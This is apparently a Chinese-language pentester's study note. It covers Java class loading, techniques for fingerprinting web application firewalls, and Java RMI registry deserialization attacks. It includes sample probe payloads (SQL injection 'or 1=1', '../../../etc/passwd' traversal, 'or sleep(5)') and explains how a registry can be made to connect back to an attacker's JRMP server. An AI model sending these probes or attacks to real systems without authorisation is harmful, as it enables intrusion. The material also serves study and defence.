https://cloud.tencent.com/developer/article/1415203这个是类加载机器中,Class.forname和Classloader.loadClass的区别.实际Class.forname直接调用forName0(className, true, ClassLoader.getClassLoader(caller), caller).而loadClassClassLoader.loadClass(className,false);false参数表示不连接,也就是仅仅将.class文件加载到JVM中不连接也不初始化.

1
2
3
private static native Class<?> forName0(String name, boolean initialize,
ClassLoader loader,
Class<?> caller)

如何识别WAF#

识别waf技术

  • 一些WAF在请求中设置自己的cookie(例如Citrix,Netscaler,Yunsuo WAF,safedog)
  • 有些人将自己与单独的标头关联(例如Anquanbao WAF,AmazonAWSWAF)。
  • 有些经常更改标头和混乱的字符以使攻击者感到困惑(例如Netscaler,Big-IP)。
  • 有些人在服务器头数据包中暴露自己(eg. Approach, WTS WAF)
  • 一些WAF在响应内容body中公开自身(例如DotDefender,Armor,Sitelock)
  • 其他WAF会对恶意请求做出不寻常的响应代码答复(例如WebKnight,360WAF
  • 有些WAF会返回一堆垃圾数据,卡死你(例如:百度云加速乐)

检测技术

  1. 从浏览器发出普通的GET请求,拦截并记录响应头(特别是cookie)。
  2. 从命令行(例如curl)发出请求,并测试响应内容和标头(不包括user-agent)。
  3. 随机开放的端口发出GET请求,并抓住可能暴露WAF身份的标语。
  4. 如果某处有登录页面,表单页面等.请尝试一些常见的(易于检测的)有效负载,例如 “ or 1=1 – -
  5. 将../../../etc/passwd附加到URL末尾的随机参数
  6. 在url的末尾添加一些吸引人的关键字,如’or sleep(5)‘ (危险测试)
  7. 使用过时的协议(如http/0.9)发出get请求(http/0.9不支持post类型查询)。
  8. 很多时候,waf根据不同的交互类型改变服务器头。
  9. 删除操作技术-发送一个原始的fin/rst包到服务器并识别响应。
  10. 侧通道攻击-检查请求和响应内容的计时行为

wafw00f ,identywaf ,waf识别工具

rmi中 client server register的关系

https://www.anquanke.com/post/id/197829

Naming.bind:

我们一般都是在client端发起lookup请求的操作,但是在8u141之前 ,服务器server端和客户client端,都是可以进行Naming.bind的操作。但是如果要使用bind/rebind请求来远程攻击Registry,JDK版本必须在8u141之前。因为,sun/rmi/registry/RegistryImpl_Skel.java#dispatch这里会先去判断是否为本地绑定请求,然后再进行反序列化。

Naming.lookup:

就像前面说的,我们一般是发起lookup请求的操作,服务器端在RegisteryImpl_Stub的dispatch对请求来的参数做分发的时候,发现是lookup的方法case2。

为什么lookup之后,registry会反连我们的jrmpServer?#详情

RemoteObjectInvocationHandler就是第一种方法,我们将AnnotationInvocationHandler替换成RemoteObjectInvocationHandler。在反序列化时会调用RemoteObjectInvocationHandler的父类RemoteObject的readObject函数,再调用其中的readExternal函数。

image-20211015171238793

http://www.mamicode.com/info-detail-2252602.html